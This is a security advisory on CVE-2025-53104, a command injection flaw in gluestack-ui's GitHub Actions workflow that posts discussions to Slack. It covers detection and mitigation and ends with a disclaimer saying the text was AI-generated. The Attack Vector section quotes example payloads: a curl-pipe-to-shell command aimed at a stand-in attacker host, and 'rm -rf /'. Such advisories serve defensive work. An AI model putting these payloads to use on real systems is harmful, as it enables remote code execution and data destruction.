CVE-2025-53104 Overview
CVE-2025-53104 is a critical command injection vulnerability affecting gluestack-ui, a library of copy-pasteable components and patterns crafted with Tailwind CSS (NativeWind). The vulnerability exists in the discussion-to-slack.yml GitHub Actions workflow, where untrusted discussion fields (title, body, etc.) were directly interpolated into shell commands in a run: block. An attacker could craft a malicious GitHub Discussion title or body containing shell metacharacters to execute arbitrary commands on the GitHub Actions runner.
Critical Impact
This vulnerability enables unauthenticated remote attackers to execute arbitrary shell commands on GitHub Actions runners through maliciously crafted discussion content, potentially leading to supply chain compromise, secrets exfiltration, and repository takeover.
Affected Products
- gluestack-ui versions prior to commit e6b4271
- Forks and derivatives of gluestack-ui containing the vulnerable discussion-to-slack.yml workflow
Discovery Timeline
- 2025-07-01 - CVE-2025-53104 published to NVD
- 2025-07-03 - Last updated in NVD database
Technical Details for CVE-2025-53104
Vulnerability Analysis
This command injection vulnerability (CWE-77) occurs due to improper handling of user-controllable input within GitHub Actions workflows. The vulnerable discussion-to-slack.yml workflow directly interpolated discussion fields such as title and body into shell commands without proper sanitization or escaping. GitHub Actions workflows that use expression syntax like ${{ github.event.discussion.title }} within run: blocks are susceptible to command injection when those values contain shell metacharacters.
The vulnerability allows network-based exploitation with no authentication required. An attacker can achieve high impact on both confidentiality and integrity by executing arbitrary commands on the Actions runner, potentially accessing repository secrets, modifying code, or pivoting to other systems.
Root Cause
The root cause of this vulnerability is the direct use of untrusted GitHub event data within shell command execution contexts. When GitHub Actions workflow files interpolate event data (such as github.event.discussion.title or github.event.discussion.body) directly into run: script blocks, any shell metacharacters in that data are interpreted by the shell. This pattern creates a classic command injection vector where user-controlled input escapes the intended context and executes as shell commands.
Attack Vector
The attack can be executed remotely over the network by any user with the ability to create GitHub Discussions in the affected repository. An attacker crafts a discussion with a malicious title or body containing shell command injection payloads such as command substitution syntax $(curl attacker.com/malicious.sh | sh) or command chaining operators like ; rm -rf /. When the GitHub Actions workflow triggers on discussion events, the interpolated malicious content executes on the runner with the workflow's permissions.
The exploitation mechanism leverages shell command substitution, where content wrapped in $(...) or backticks is executed by the shell before the parent command runs. This allows attackers to execute arbitrary commands, exfiltrate secrets, or establish persistence within the CI/CD pipeline.
Detection Methods for CVE-2025-53104
Indicators of Compromise
- Unusual GitHub Discussion titles or bodies containing shell metacharacters such as $(), backticks, semicolons, or pipe operators
- Unexpected outbound network connections from GitHub Actions runners
- Modified repository files or secrets accessed during workflow runs that process discussions
- Workflow logs showing command execution patterns inconsistent with normal Slack notification behavior
Detection Strategies
- Audit GitHub Actions workflow files for direct interpolation of event data in run: blocks using patterns like ${{ github.event.* }}
- Monitor GitHub Actions workflow run logs for anomalous command execution or error patterns
- Implement GitHub Advanced Security code scanning to detect vulnerable workflow patterns
- Review repository discussion history for suspicious content containing potential injection payloads
Monitoring Recommendations
- Enable GitHub audit logging and monitor for workflow execution events associated with discussion triggers
- Configure alerting for workflow runs that access secrets or make network requests to unexpected destinations
- Implement runtime monitoring on self-hosted runners to detect anomalous process execution
How to Mitigate CVE-2025-53104
Immediate Actions Required
- Remove the discussion-to-slack.yml workflow file from your repository if using gluestack-ui or any fork containing this workflow
- Audit all GitHub Actions workflows for similar patterns where event data is interpolated into run: blocks
- Update to the latest version of gluestack-ui containing commit e6b4271 or later
- Review workflow run history for any evidence of exploitation
Patch Information
The vulnerability has been fixed in commit e6b4271 where the discussion-to-slack.yml workflow was completely removed from the repository. Users should update to a version containing this commit or manually remove the vulnerable workflow file. For detailed information about the fix, refer to the GitHub commit and the GitHub Security Advisory GHSA-432r-9455-7f9x.
Workarounds
- Delete the discussion-to-slack.yml workflow file from the .github/workflows/ directory in your repository
- If the Slack notification functionality is required, reimplement it using environment variables instead of direct interpolation by passing event data through env: blocks rather than inline in run: commands
- Restrict who can create discussions in the repository to trusted users only as a temporary measure
# Remove the vulnerable workflow file
rm .github/workflows/discussion-to-slack.yml
git add .github/workflows/discussion-to-slack.yml
git commit -m "Remove vulnerable discussion-to-slack workflow (CVE-2025-53104)"
git push origin main
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

